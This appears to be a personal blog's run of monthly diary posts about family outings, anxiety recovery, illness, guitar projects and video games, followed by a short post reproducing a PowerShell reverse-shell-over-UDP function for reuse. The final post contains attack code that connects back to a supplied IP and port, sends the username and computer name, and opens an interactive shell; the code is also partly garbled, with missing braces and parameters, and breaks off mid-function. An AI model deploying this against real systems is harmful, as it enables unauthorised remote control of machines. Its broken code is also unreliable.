Captain’s Log: April 2023

April was 75% excellent and then a week of feeling ill after vomiting. It marked the first month where I managed multiple weeks back-to-back hitting my exercise goals for a little while. I was getting pretty decent at my 2 miles every other day before work before I was sick. I took a week off to get properly over it and I run into May ready to stitch together more weeks!

First Weekend

We got out on Saturday morning and took the kids to the shops to pick an Easter egg. They seemed bemused by the whole endeavour but the shopping experience was much better than the last time. There was a trip to the Library thrown in too.

On Sunday I took Kid B to the park in the morning . They then had a play date in the afternoon. I played a bunch of Football Manager and started watching “The Night Agent” on Netflix. I enjoyed the show as it felt about as close to “24” as we have had since well.. “24”.

Second Weekend

With the bank holidays this was a joyous 4 days off.

On Saturday we went to a farmers market, and then had a date night in the evening while a babysitter put the kids to bed.

On Sunday we took the kids to a big bouncy castle kind of place which had a very drunk giraffe at it. This is an activity $eldest would traditionally have been unable to keep themselves safe at. This was great to see them coming when called and not attacking the walls.

On Monday we went to see the Mario movie at the cinema. This is the first successful cinema visit as both kids sat for the duration. New out of the house activity unlocked. We have wasted untold £s having to leave cinemas 20 minutes in before.

I really needed the four days off and to get out the house everyday.

Third Weekend

Saturday we got out early and did some errands. Dropped $ELDEST at a birthday and took $YOUNGEST to the park for a run around. It was really nice.

Sunday I took $YOUNGEST to their first ever activity group (a football kick about). It went well. They listened to the instructions and learned how to do some stuff. Fears that they would be as impossible to coach as $ELDEST appeared unfounded. Spoiler alert: next week they refused to do it exactly like $ELDEST.

Fourth weekend

I got to the end of work on Friday just about and then started feeling nauseous. Few hours later yup a big old vomit. A really poor nights sleep and generally a bit miserable.

On the plus side my really long night allowed me to watch the entire last season of Brookly-99 that had just arrived on Netflix.

Unfortunately this meant I had to cancel our trip to Edinburgh to goto the Dr Who exhibition.

Final Weekend

We booked into the Dr Who exhibition again and this time made it! $ELDEST had a lovely time looking at all the things. While $YOUNGEST tried to run through the entire thing in 30 seconds. We have spent weeks watching the first 4 series of (new) Dr Who to prep them for this and it has been nice doing so. A little bit of ritual family time before bedtime most days has been nice.

On the Sunday my partner took me shopping for clothes (which hasn’t happened in a very long time). We needed a babysitter to do it because the kids tolerance for their own clothes shopping is almost zero and for us it is zero. It was nice to try on stuff without a complete rush and I now have some trousers that actually fit and aren’t falling apart/really for exercising. So that is nice. Feeling pretty good about that.

Other bits

  • DIY Guitar Kit – I have *still* not started work on the kit guitar finishing like I thought I would. I have all the items. But I lacked the energy to sand a guitar for hours and hoovering up the dust from the living room is going to be an ongoing chore. I will get on it in March April May!
  • Football Manager 2023 – I have a save game as Birmingham City. Their finances are so fucked in reality. It was not going to be much fun playing this on “reality mode”. The fun of the game is to sign players and make a team you like. It would take like 5 seasons of struggle to even start to replace the players legitimately. So I cheated and used a rich team to sign a bunch of players to free the wage bill to allow me to sign a few free/cheap players. Somehow that squad made it to the premier league (as runners up) and somehow I have managed to keep them there in that first season with a few games to spare. The club might actually have turned the financial corner with that so I might have some budget for next season. The only plus points are that my team has a backbone of their real academy players that have now had like 3 seasons in the first team while mostly being < 22 years old. I could sell a few for real money and thus increase the quality of the squad by getting like 3 players that are better for that money. Now the fun begins. Trying to consolidate a place in the premier league while incrementing the quality of the squad until you might win a cup or two.
  • The Night Agent – A TV show on Netflix that was a nice thriller. Really enjoyed it and encourage you to give it a go.

Captain’s Log: March 2023

I started the month just getting over whatever cold and sickness occupied me for February. As always with renewed energy for the month and optimism. As it turned out March was ok but I got ill again in ways that disrupted the relentless exercise progress once more. There is always April!

First Weekend

We got our shit together and out the door early on Saturday. We took the train into town and went to the Gallery of Modern Art (GOMA) where there was a kids arts and crafts event on. Kid A did quite well just drawing while Kid B ran out of the room about 200 times until eventually we had to come home.

Minor point but when I was struggling more getting on a train was excruciatingly challenging. This day there was a minor wobble on the way out and then big smiles on the way home.

Second Weekend

I had used my two remaining days of annual leave to make this a long weekend. It was brilliant. On the Friday the kids were finally out of the house while me and my partner had a full 9am-> 2pm to relax at home. Only relaxation was achieved and that was enough. I very much miss days like this so it was great to have one.

Kid B was invited to a birthday party on Saturday morning so we drove out to that. I then took an unplanned 2 mile jog around the car park of the soft play before returning to collect. This was good on my return to exercising regularly as I wanted to get back to around 120 active minutes a week.

Me and my Partner went out to a Vegan restaurant in Partick and had a lovely long walk there and back. It was the first “date night” we have managed since before December for one reason or another. It was absolutely brilliant just to exist without kids for a bit.

The exercise target was obliterated by having that extra long walk to and from Partick. March started out absolutely great!

Household Sickness

My partner and Kid A were then down with the sickness for a few days. I gladly take on all the duties when I have to but it is exhausting long days. Precisely how single parents do this and work is beyond me. 7am to 9pm days of doing everything are knackering.

Third Weekend

I honestly cannot remember what happened this weekend. I think because my partner and one of the kids was a bit sick we took it easy. Also to try and help me recover from the long days I had done in the week being a parent, carer, and good worker bee.

My Sickness

In typical staggered fashion I ended up feeling ill somewhere on Monday afternoon. Probably I had been incubating it from my partner/kid over the third weekend. It really knocked me out so I had a day off on Tuesday. Which was so tedious that I returned on Wednesday when I possibly should not.

My partner was well again so they dropped off and picked up the kids the whole week while I sort of moped about and tried to just work and sleep better.

Fourth weekend

My partner flew to London (though they were sad to leave me looking a bit sick still). The kids and I had a chilled weekend as I could not take them anywhere. I also thought I had lost my wallet picking up meds on Thursday so in the area of doubt cancelled my bank cards. Even if I felt fine I would have been unable to go anywhere other than the park of library so it was completely relaxed.

We got as far as the garden for some light exercise, and spent the time playing games.

Once again worth noting that there was a time me being left alone with the kids was just a relentless anxiety day and nightmare. Not because they are evil kids or that I feel I cannot cope. There was just a wee voice that used to say things like “what if you collapse?” and no amount of saying HEY MATE! YOU HAVE NEVER COLLAPSED! IT’LL BE FINE. Could drown out whatever part of the lizard brain triggered the illogic in the first place.

So once again good solid evidence of the progress I am making that this nonsense could not take root and instead we had a very relaxing weekend. A bit frustrating that we had to stay entirely at home but honestly it was nice.


I had a go at making a cover of Behind Blue Eyes by The Who. I did this because it is mostly an acoustic song but when you listen to it there is some simple vocal layers that add complexity. I am not a great singer and I also wanted to push myself to do more than a single take vocal and to add those layers in to make it sound fuller. It sort of worked I think. I learned a lot from doing it and actually ended up not hating my voice after listening to it a lot.

Then I had a go at a cover of Sweet Dreams are made of this by the Eurythmics. I went deep into it getting the drum pattern right and playing the most common synth part. I mixed it up with an acoustic guitar doing the chords and arrived at something that was kind of fun to put together.

Again it is a hobby where I am learning a lot and the key is to just do “something” regularly to progress. What the something is has almost no quality control what so ever!

Other bits

  • DIY Guitar Kit – I have *still* not started work on the kit guitar finishing like I thought I would. I have all the items. But I lacked the energy to sand a guitar for hours and hoovering up the dust from the living room is going to be an ongoing chore. I will get on it in March April!
  • Football Manager 2023 – As I felt pretty miserable when I was sick I picked this up and have just about completed an entire season. While I love FM and have played it since it was CM back in the 90s. I think I am starting to like it less because there is now so many things in the game. I just want to sign players, play them, and win some stuff. Now you have a Squad Planner than I don’t really want. I was happy having a view of my players and their suitability for a position over my current tactics like before. Now they really want you to care about the playing time you promise people and about squad hierarchies etc. Honestly I just can’t be bothered with it. It throws up too many mad things like at the end of my first season I had a 36 year old captain playing as a striker. I was happy to keep him for his experience from the bench but the dude asked for a non-negotiable 2 year contract with a 3rd year happening if he played 5 times and on about4-5 times the salary he had been on. Obviously this is wildly unrealistic so I had to eventually sell them and watched the squad morale drop like a stone in the ocean. Like… Seriously.. Couldn’t afford that deal at all! Also I have been bitten by a bug where selling a player tells you “X amount has now been added to your transfer funds” but then it has not. So I had sold a tonne of players to reshape the squad but now I cannot replace them! Which seems mad. I think these two things have killed this save game.
  • Scotland National Football Team 1 – When my partner was away for the weekend I watched Scotland vs Cyprus with the kids. I could never interest kid A before but kid B seems into it. Sadly the match with Spain was too late on a school night to sit-up and watch with them. I would love to get to the point where I can take them to a game but I don’t think we are quite there yet.

Captain’s Log: February 2023

Maybe I am waning in my desire to open journal like this. Usually I have the discipline to start the post with the changing of a month and then top it up once a week before posting it bang on time. I had not even started this post until 10pm on March the 1st which is unusual. So it is going to be brief.

Overall I loved living February 2023. I was in good spirits throughout. I was however sick for about the last 10-12 days of the month. Nothing serious it was just bad timing. $youngest was ill and I caught their cold and it was persistent. Then just as I was feeling well enough to go back out jogging on Friday 24th I woke up the next day with a new fever and an earache to match $eldest’s symptoms.

The cold was pretty mild and so I worked through it without issues. I just felt a bit grotty and wasn’t able to do much physically. The earache was fun though! It sounded like I was underwater and I could barely hear people talking a metre away from me. I felt absolutely shitty for the final weekend of February as a result and took Monday and Tuesday off work to recuperate and felt fine but a little tired on March 1st.

Health aside I spent some nice time with the kids. There was a birthday party to attend at a soft play that went well. Kids did well and had fun and they even came when called to go. Therefore earning privileges to go back on another Saturday morning sometime soon!

We had two visitors come to our house (we are trying to up our game here so that the kids see other humans). I was too ill to clean for the first visitor but I did get the house looking quite nice for the second visitor before the earache landed.


I haven’t written a song in a while. Then bam a friend of mine had a video of them drunkenly describing why The Beatles are (in their opinion) crap posted online. I found his example lyrics absolutely delicious and so took on the challenge of making what I think he hears when he hears say Sgt Pepper’s Lonely Hearts club band. To achieve this I listened to Lucy in the Sky with diamonds about 100 times and as a result each time I play this I laugh my ass off. The drum track in particular is bang on.

I think it works because if you strip out all the layers the song is actually not bad. In my opinion obviously.

It reminded my that for quite a chunk of 2022 I was making a random song in 2-4 hours every week. I have definitely gotten better at the process which is exactly why I am having fun with it. A great hobby.

Other bits

  • XCOM 2: War of the chosen: I spent most of the month playing this in the evenings. It was the only thing I was capable of physically for the second half of the month.
  • XCOM 2 – I had completed XCOM 2 in January I think. After defeating WOTC I immediately started this again but with an aim to run through it to see a reduction in the number of days. I got to plasma weapons in record time for me when I usually slowly build.
  • DIY Guitar Kit – I have not started work on the kit guitar finishing like I thought I would. I have all the items. But I lacked the energy to sand a guitar for hours and hoovering up the dust from the living room is going to be an ongoing chore. I will get on it in March!
  • Star Trek Voyager: I got through this while playing WOTC and during other tasks. I always liked the characters but this time I got some different stuff out of it. It is a good show.
  • Star Trek Enterprise: I started this after Voyager. I maintain that I love this show more than the average star trek fan. Even going so far as to say that it has one season that I loved so much on first viewing it that I said “it was the best season of any star trek”. I refer to the Xindi season where I loved the ongoing plot. The mystery. It had a purpose and it was darker than Star Trek had ever been. The show got so much hate when it was released. But not from me. If you are honest you will find the first season is pretty ropey in all of the shows. I am dreading putting up with the “ending” of this show. They really did them dirty.

Captain’s Log: January 2023

December was pretty much a mess due to us getting sick. It took a while to recover and so that had an impact in January. I was struggling to stay awake all day which was fine when off for the festive period. I resolved to resume exercise to improve my energy levels and I think that plan worked mostly. So going into January I was doing more of the same.

It was a month where work was busy, kids were the regular mix of fun and challenging, but also one where I got outside for more socialising than typically occurs. It rounds out as an excellent month looking back at it from the end.

First Weekend

Happy new years! I did see the bells in with my partner on the TV and we had a little dance to auld lang syne.

I played XCOM2 over the festive period and got a chunk of hours in this weekend. I love the game and I am quite clearly addicted to it if I ever open it I have to play about 30 hours in the next week until it is completed. But there are still things I really hate. To me it isn’t truly turn based strategy because on your move if you identify an enemy they get a free move to run to cover and make it harder for you to attack them (the same is not true if they find you). That aside I love the story, researching alien tech, but they have made an artform out of keeping you awake playing it. You just want to complete the research but it spawns a mission that takes you 40 minutes and that’s it suddenly its 2am.

On new years eve I found the battery warning light on my car. The manual indicated that one was the battery was empty. So we couldn’t go anywhere. I resolved to fix it next week.

Second Weekend

On the Friday a new car battery (installed outside my house by Halfords). The guy chucked in a new battery. The car came on. We declared it a great success immediately and off they went. They did no further diagnostics. I booked them to replace a battery. They replaced a battery. Job done to the letter.

On Saturday morning I wanted to drive the car a little as it hadn’t moved in about 3 weeks. So we were heading off to the Library. About 30 seconds after the engine was on the battery light comes back on. This time the manual says this presentation means the alternator is busted. So you can drive your car but it is only going to work until the battery was empty. The new year is off to a great start!

I have not really had anything ever go wrong with this car (and it is still my first one) so it is a pain in the butt. I just don’t want the hassle. Also a bit shit to see things going south less than a month after it passed its MOT with flying colours.

On the Sunday I let my partner do their open uni study and I mucked around with the kids. That looked like going out for a walk to the shop in the morning. Them having access to “infinite” sweets that they bought for £1 each. Them having screen time (while I played Xcom2 as well). Then me playing with them and finally a film. It was actually a nice textbook day.

Third Weekend

I went out to celebrate being alive and met up with a tonne of friends. Some I haven’t seen in real life before. Some I have known since childhood, university, or my various jobs over the years. I suggest everyone holds a mini festival to celebrate themselves once in a while. It was ace.

Most notable was how the kids got out and came to an event and were generally well behaved. To be fair I don’t blame them for wanting to run away from the reserved area a bit as it did honestly get pretty hard to find room to stand when everyone got in there, and pretty hot.

Fourth Weekend

A return to normality. We built a new wardrobe for the kid’s bedroom on Saturday. Given the small working area this went as well as could be expected. The eldest didn’t care and didn’t help.

While the youngest tried their best to help but eventually got bored and went off. Now they have a damn fine looking wardrobe and it’ll let them hang their school uniform for ease and solves a tonne of other storage needs for them. So positive victory.

We watched Blues brothers together despite the rather high age rating. There is no sex and the violence is comedic. I think the entire age rating is based off of one scene where they say “Jesus Christ” or riffs on that a lot to a nun. Other than that it is a glorious celebration of music with a GTA 5 star police chase ending (but bloodless).

On Sunday we went swimming for the first time in a very long time. Eldest was a challenge as they cannot swim but are now tall enough to just bound about the place splashing younglings. It was more fun than challenge for me so more of this. The rest of the day included homework, solving puzzles together, screen time, a bit of exercise, and I cooked a sort of beef teriyaki thing.

Fifth Weekend

How a month like January gets 5 weekends is beyond me. On the Saturday I took the kids to the library so my partner could study again. We got a new run of books and stopped to play battleships too. Who knew libraries had board games?

After I sank the kids fleets (they straight up said “most of the ships are in row ‘E'” so I mercilessly destroyed 2/3rds without trying) we came back and had lunch. Then it was screen time and the day fizzled out after that.

A pretty standard weekend.

Other bits

  • XCOM: chimera squad – After completing XCOM 2 I moved straight on to Chimera Squad for a second playthrough. This is a different game dynamic and is more achievable in a few days. A good story. Different missions but not quite up there with the turn based strategy of the main series.
  • XCOM 2: war of the chosen – and then back to XCOM 2 but this time an expansion. WOTC is actually an entire game in its own right. It is so much bigger than DLC implies. Offering such a different experience that having played XCOM 2 already in January this was not dull at all.
  • Mini-golf – In an effort to do more socialising I met up with 3 friends to do mini-golf over at Golf Fang Glasgow. It was a good night out. Only slightly marred by Uber not wanting to take me there. I watched as all drivers rejected the request twice. So I hopped in the car and drove over. This kind of last minute deviation from a plan often fills me with anxiety but here I was 90% calm and went with it. A pretty decent sober night out was then had. I found I have putting skills I didn’t know about. So I must never play again or risk losing it haha.
  • No Guitar Maintenance Class – I did not schedule myself onto the guitar maintenance course this time. I have not successfully gotten what I wanted out of the previous two iterations. Don’t get me wrong. I loved it. I went somewhere alone as an adult. I mixed with strangers and learned some skills. But I had hoped to finish setting up a guitar during an 8 week course. Having done it twice (admittedly missing a few weeks each time) I have essentially got two 90% setup guitars and really only need about a week back in the class to finish those. I will go back but don’t want to end up with THREE 90% setup guitars so will need to force the issue in getting the first two finalised in week one. I have acquired lots of the tools for fret levelling but will benefit from the final stage work and it gives me something to do of an evening.
  • DIY Guitar Kit – In lieu of the maintenance class I ordered a kit guitar. This is super easy to build and required only a screw driver and a hammer. The electronics are solderless so just clip together. It was really an evening project to build something that worked. Then we are back to the setup problem. It actually sounds ok even without me setting it up and it is fun to play! However, it is the ideal candidate for a 3rd iteration of the maintenance class. The guitar comes unfinished and doesn’t actually explain you probably want to finish it before building it. I could go to the class and do all the sanding and finishing in a place with good ventilation while again doing something of an evening. So that seems about right to me.

Captain’s Log: December 2022

This was a bit of a train wreck of a month. We had a decent winter and hit December full of optimism and had plans to do something every weekend. Alas. It was a bit of a mess. Still in the darkness I did have some fun and on the plus side we arrive at 2023 none the worse for wear really.

First Weekend

A new tartan carpet was fired in late on the first Friday and a new Sofa arrived too. This is where the home improvements were parked this winter. The room still needs decorating but there we are. I am instantly happier with my house as it is possible to clean this room at last. It is warmer. Dare I say it? It is NICE to be there. We spent a lot of time together as a family in this room and it was much better.

There was a meetup for my gran’s birthday and it was nice to see family for a good time. The kids did their best at behaving for 4+ hours and then we had to go home. I think that was pretty successful.

My sister came and stayed for the Sunday and it was great to spend a day with her. We fired into the Christmas movies watching Home Alone and then Die Hard after the kids were in bed. A classic movie pairing.

Second Weekend

My mum came on the Friday and stayed through until Sunday. She brought a kind of augmented reality Pictionary game which was a bit of a laugh to play. Sadly a little too advanced for one of the kids and I guess what we really wanted was a mode that just let you draw to amuse them.

We went to “breakfast with Santa” at an Ember Inn pub. The food was pretty disappointing. I am not typically the kind of person to complain about food. But yes this was pretty rough in almost all ways possible. I went home and made some proper boiled eggs on toast immediately after. I must acknowledge them doing a tough job, early in the morning, and with a new morning menu. But it was grim. It really was.

We went to see Elf – A Christmas Arena Spectacular at the OVO Hydro. I had a bit of a vertigo panic on taking my seats. Wow tier two is high. I wonder wtf tier three is like – without ever wanting to know! I got my anxiety under control eventually when the lights went out and the show started but it was a pretty tense 40 minute wait for that.

I then didn’t really see much of the show as I was constantly taking a child to or from the toilets (which were miles away). Or getting a drink etc.

Great to see mum but it meant that I missed out on the work Christmas do again due to the dates clashing. Still that is an improvement as I have missed a few out of pure anxiety for the travel. This year I was totally up for the travel but the date was announced too late for me and I’d finally booked stuff to do that weekend by then. To next year!

Third Weekend/Fourth Weekend/Christmas/New Year

Then.. We were ill. The run to the end of the year from here was a complete shit show of having flu and then being exhausted in loops. Being cooped up and locked in unable to do stuff. Surviving on shopping being delivered and giving the kids an impossible amount of screen time and the resulting chaos of their poor behaviour as a result. There is a reason they get 30 minute bites at computer games and take turns. It all went out the window in survival mode.

Oh and a rat decided to appear at our lowest point and basically ran around trashing stuff under the floor boards for days. Points to it as the first rodent to ever actually get food in our house because – we think – someone left the pantry cupboard door open a little bit. It then went nuts trying to break in again but couldn’t. It was hard to sleep because it was under the boards in my bedroom gnawing away all night long for what seemed like forever.

As a final fuck you on new years eve I tried to drive to the tip to take weeks worth of uncollected recycling. The car dashboard lit up like a Christmas tree and I think the battery is fucked. So I didn’t get outside for even the jolly of going to the tip and now the car is rammed with rubbish too.

Then on new years day I cracked into an egg and it had two yolks. A double yolker. I have heard of them, but never had one. I think 2023 is going to be a belter. How could it not when you start two yolks! Onwards and upwards.

Captain’s Log: November 2022

Carrying on the home improvements the extremely unlevel living room floor was ripped out and replaced with a level chipboard floor. In the same week the chimney was dug out and setup to take an electric fireplace. The room looks a lot better but now needs decoration and a decision on a new top level of flooring.

first weekend

We got out to a “fireworks” display and then had a pretty relaxed weekend together. My partner took the kids to the library and loaded them up with a new stack of books. I got them to the park briefly on Sunday and all was well.

second weekend

This weekend I needed to empty the living room to prep for the chimney/flooring projects. This was exhausting and because the kids were not really involved there was kickback at the lack of time with me. I forget that they really need to spend time with me or they go spare. I would love to chalk it up to them really liking me. But no it is more that they are terminally unable to play together without an adult mediating, and neither can do any play time on their own really.

We had a babysitter come for Saturday evening and so got out for our first date night in a while (chicken pox and a holiday had upset the regular schedule). We went to a Thai restaurant in town and enjoyed several different dishes. The company, as always, was a delight. The food was very worth trying but didn’t really take off for me.

The Sunday was mostly emptying the living room. In the morning my longest serving friend came round to help lift stuff up stairs after my partner had messed their back up on Saturday doing similar. Then we went out for brunch with two of his daughters and my kids too. A tiring weekend where sleep was minimal.

third weekend

I booked a day off on Friday with the hope of going shopping to get some clothes that actually fit. I have not bought any new trousers in a very long time. I would like to have something that is not just running trousers I bought to exercise in.

Alas my kids were both off nursery and school on that day! They have a 100% record of being ill if I ever book time off work to do something without them. I never tell them that I have time off. One just vomits or has a fever and I always end up literally holding the baby on my time off. So that didn’t work out for me and the quest continues for time to do that.

fourth Weekend

I ended the work week a bit depressed to be honest. I think the Winter nights were drawing in, and it was an obscenely busy week again. So I decided to do something fun that I hadn’t been doing for a while. I made plans to cook lots of different food.

In addition to the usual burgers, pizza and my usual “I am going to cook something from scratch” fare, I made Pierogis for the first time. I have a new Polish team member at work and they said these were awesome. They were not wrong! I don’t know if I did it like how grandma makes them but these were absolutely delicious.

I also got out with the kids to an event at Kelvingrove Museum on Sunday which was nice if not relaxing.

short bits

Talos Principle – Picked this game up again. I think I have completed it twice before a few years ago. The puzzles are brilliant. With the gap in time I was having to solve them again almost without memory. A great game.

Audio Books 1 – Homo Deus by Yuval Noah Harari I am almost through this now as I have been regularly walking places before work.

Explained (on Netflix) – Nice short episodes of high level knowledge on a bunch of topics. Most episodes had something interesting to learn in there. I recommend it.

I did not play enough guitar this month. Not even slightly. I should remedy this.

Captain’s Log: October 2022

Finally there was some progress in the internal work on the house! This was great for the psyche. The kids bedroom floor had the 1960s boards ripped out and a level chipboard one fit in its place. A new carpet, a lick of paint, a bunk bed, and now the kids have an ok bedroom.

I killed the mould on the bathroom ceiling and painted it a nice grey colour. Installed a new bath panel to fill the massive gap where rodents came running in. I did a little bit of tidying up and decorating too. All in all making the house a little bit nicer every week.

first weekend

My partner was ill so this was time spent with the kids mostly. We started to watch the Karate Kid movies as I figured it would teach a bit about balance and focus etc. Having now watched the original trilogy of movies in a week it is safe to say that the character of Miyagi is absolutely amazing. Played to perfection.

second weekend

My brother and his partner were in town to see the strongest man competition and came over for lunch before heading over. It was nice to see them even if it was only a brief visit.

third weekend

I took some days off work and took the family down to the borders for a long weekend. This was hands down the most relaxing holiday I have had since having kids. The drive down and up went well without major tantrums. We met up with a friend and met their very lovely dog.

Exploring Kircudbright (pronounced ker-coo-bree) was relaxing. I had enough headspace to buy a book from the local book shop and then to read a few chapters too.

This was the most relaxed I have been in a long time. Seriously.

fourth Weekend

When we built the kids a bunkbed I put a storage pocket onto the top bunk and clipped a reading light up there too. It was actually the sweetest thing to see $eldest get hugely excited by this. Now they can read for a bit before falling asleep and it has reduced them coming out saying they are bored.

This weekend we went off to the Library on Saturday morning. Loaded the kids up with books and $eldest was reading for hours. Given how hard they fought to NOT TRY to learn to read at all a few years ago this is huge. They still have issues but it was definitely at peak levels when trying to get them to look at a page to learn the mysterious symbols. Now they can unlock a lifetime of knowledge and adventure and I am so happy that this is apparently life now :D.

On the Sunday I tried to take the kids out for breakfast to leave my partner alone to study. We had a really horrible trip to MacDonalds. A really filthy one. With poor service. With bad food. It was pretty damn grim.

Then we played our new favourite board game “monopoly junior”. This is just interesting enough to play and yet simple enough for the kids. It ends really quickly in about 15 minutes a round.

short bits

Mass Effect Andromeda – a few hours of this were played.

Football Manager – I started a game where I manage Scotland to untold heights. In my alternative reality the most fun thing to happen was me qualifying for the world cup in Qatar. Then having Craig Gordon retire about 3 months before the world cup! The timeline was weird. I called him up for a camp where we had 3 fixtures. He announced his retirement but he was still part of the camp. I could not pick a replacement for him. He played a blinder in the first game of the camp and then retired before game 2. Still unable to call up a replacement and suddenly needing to find a goalkeeper for the world cup when literally every other Scottish goalkeeper was playing backup at their clubs or having a pretty torrid time playing in relegation battles. I mention this purely for how much I love this game and how weird the alternative realities get.

Audio Books 1Homo Deus by Yuval Noah Harari I have listened to about another hour or two of this. It has sparked lots of juicy thoughts in my brain.

Lower Decks – I finally started to watch this and it is basically like Futurama in a Star Trek universe. Pretty much as awesome as that sounds too.

Captain’s Log: September 2022

Overall September was another great month. I managed higher quality time with the kids. I managed a good amount of time on hobbies, and work has been progressing nicely.

There was one negative highlight in that I had my first panic attack in ages. It was a minor one and the cause appears to have been doing too many fun things and a run of bad nights sleep. Because I now know what to do it was short lived and had little or no impact the next day. This is what having is mostly under control looks like.

Some progress was made in the house in the first days of September. External work was done to re-render the chimney, and a new TV aerial was fitted.

Thoughts turned to Internal work to the chimney to make it suitable for an electric fire. Sure the price of electricity is sky high now. But really this is for aesthetics rather than heating. Long term I think we need to be on electricity instead of coal or wood. It will be nice to have that focal point but I doubt we will turn the fire on very often.

We need to replace the entire floor in the living room to level it too (as it really was a state when we moved in). I am trying to get that done at the same time to minimise the disruption and we might have that done before Christmas which is huge. Just the thought of having a room in the house I can decorate and enjoy would be massive.

first weekend

We went to B & Q to look at all the electric fires and found a nice one. We had a look at all the bathrooms for ideas as we might replace ours in 2023 before the kids patience ran out. At which point it was KFC and then back home.

We watched Pacific Rim and $eldest was glued to that. What a fantastic movie that is. As a parent I will watch pretty much any live action PG rated movie I can. Why streaming services do not simply let you search by classification is beyond me. Yes they have “kids” modes most of them. But they are pushing mostly animated or genuinely made for kids content. When there is far too much of that and I just actually want to see some human faces sometimes. For this purpose Pacific Rim was pretty much perfect. Great music, fantastic costumes and it was not a story made specifically for kids. More PG films that don’t suck please.

second weekend

This was a really decent weekend. Got the kids to the park on Saturday morning. Then an evening out with my partner at Chaakoo (west end). The food was brilliant and the service was great. Then a nice long walk home chatting in a dregs of summer evening.

On Sunday I went to my grans, and went out for lunch with my sister. A nice place that had enough playground that the kids were essentially not there save a few minutes to cram food in. Result.

third weekend

I really tidied the house. When the place has so many structural problems it is hard to stay motivated to clean. In the flat we had things just about right so you could tidy and clean it in around 2 hours. In the house we are limping by with all the wrong storage solutions. Until we get the basics right such as the flooring it seems nuts to splurge on furniture that’ll just have to be moved around when we do. The cleaning spree was entirely because the proposed joinery works in the house soon massively motivated me to do so.

I remembered to ask THE most important question of my family members; “what do you want to do with me today?”. This is vital when you are busy in the week days and aren’t seeing so much of them. The answers are usually brilliantly simple and are mostly adorable. They want TIME with me. How nice is that?

  1. I want to go out on my scooter while you run. So we did, and it was fun and helped me get a little exercise.
  2. I want to play board games and do puzzles with you! So we did. The challenge is finding games that both kids can play at the same time. Not always possible and really they seem to want 1-2-1 time with me so I have to divide and conquer.

Super Busy Week

I have been going to my guitar maintenance course on Tuesday evenings for a few weeks now. The guitar I am working on is much better now with the frets levelled, then rounded. Next up I’ll be polishing those frets before finally putting strings back on it to setup properly!

I went to see Scotland vs Ukraine at Hampden with my longest serving friend. It was nice to catch up. Men are shit at meeting up and I know I have been extra shitty for the past few years on account of my bullshit panic attacks, and the associated trigger avoidance.

I won’t say my problems are gone (I still find myself needlessly worrying about stuff). But by going places and doing things this year I have massively reduced the anxiety. As well it should because I always knew this stuff was irrational.

This was my second Scotland match at Hampden in a few months. It is starting to feel normal to go to a place, have a pint, and then go to a football match. Because that IS normal. I had gotten so screwed up that the thought of it was a source of dread. Now I am actively thinking about taking at least one of the kids to get them into it.

fourth Weekend

I had taken Friday and Monday off to match with the local Glasgow holidays to make this a 4 day weekend. My partner got a chance to go meet their sister in Portugal which I encouraged them to take up. This meant, the dread of it, me being in sole charge of two kids for about 3 days.

Now… One of the other irrational thoughts I have had is what if I have a panic attack when I am in sole charge? There have been times I was spiralling over nothing like 30 minutes into my partner going out for an evening. Then I basically had to deal with that rollercoaster until they returned. But this was 3 full days pretty much.

I planned to get through it by being busy. By setting a routine where we went out in the morning to do something. Returned to play games together with me having a bit of a lie down in the afternoon when they finally got screen time (so they would zone out for a solid hour – the secret is to starve them of it by going out first).

The best laid plans and all that… Kid A was sick after bedtime for the first two nights. It meant I didn’t sleep as I was tending to them. Our sleep patterns were wrecked and it also meant we now could not go anywhere outside. This stretched the days on forever and made the job I had more challenging. I managed to keep my head despite the nights of awful sleep.

On the positive side in the middle of this the kids sat and watched Scotland vs Ireland on the TV. That is the first time they have watched an entire game without going away. I think the sickness made them just the right level of docile. Had a lovely chat with the $youngest about football and they asked to go to a game and get a t-shirt like mine. A result! As $eldest has never ever cared but $youngest looks like he is into it. Pity that the next Scotland game at Hampden is probably ages away.

short bits

The Boys – I watched season 1 back in the day and this month I decided to pickup season 2. It is really well made isn’t it? Lots of tension and twists. Season 3 has been… Hilarious. Is all I can say. Such a brilliant made show.

Mass Effect Andromeda – I have decided to replay this on the PS5 this time. The load times are much better as a result! It is a pretty good title. Though I find the combat more clunky than peak ME: 2/ME: 3. Sometimes video games are great for teaching $eldest things. This is because the rules are well defined. Here they are learning that you should help if you can, and that if you want to have strong relationships with friends you should regularly speak to them. He hates that I talk to every crew member at every opportunity as obviously it is not shooting aliens! But… They keep giving out side missions and more lore about their lives which can be entertaining (and even more missions where you get to shoot aliens). I am sure there will be studies on this somewhere using games to teach socialisation, and Mass Effect is actually great for it.

Guitar – I made good use of my Spark amp this month using it to do something I have never really done; play over backing tracks. Weird to think I have mucked around on guitar so long but never done this. But hear me out. Even though I read Total Guitar magazine back in the day and they came with CDs full of backing tracks. I didn’t have an amp! It was also fiddly af to co-ordinate playing a CD for me. Now? There is a wealth of youtube videos out there with a backing track and the relevant chord progression/recommended scale on screen. As I am sat at my PC desk I can use a mouse easily to drag back to a section if I want to go again.

Audio Books 1Red Teaming by Bryce G. Hoffman was completed. This was about using contrarian thinking to consider business planning. Not about the technical red teaming that pentesters are familiar with. It had some nice ideas in there.

Audio Books 2Homo Deus by Yuval Noah Harari was started. As with his previous title Sapiens this is a very well put together book and the ideas it fires off are interesting.

Reverse shell over UDP using PowerShell

My post is really to remind myself that this exists. The hard work was done on back in 2015. I found that this worked for me well.

First the code from that blog (only slightly modified):

function Invoke-PowerShellUdp
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]




    #Connect back if the reverse switch is used.
    if ($Reverse)
        $endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPAddress),$Port)
        $client = New-Object System.Net.Sockets.UDPClient

    #Bind to the provided port if Bind switch is used.
   if ($Bind)
        $endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::ANY,$Port)
        $client = New-Object System.Net.Sockets.UDPClient($Port)

    [byte[]]$bytes = 0..255|%{0}

    #Send back current username and computername
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")

    #Show an interactive PowerShell prompt
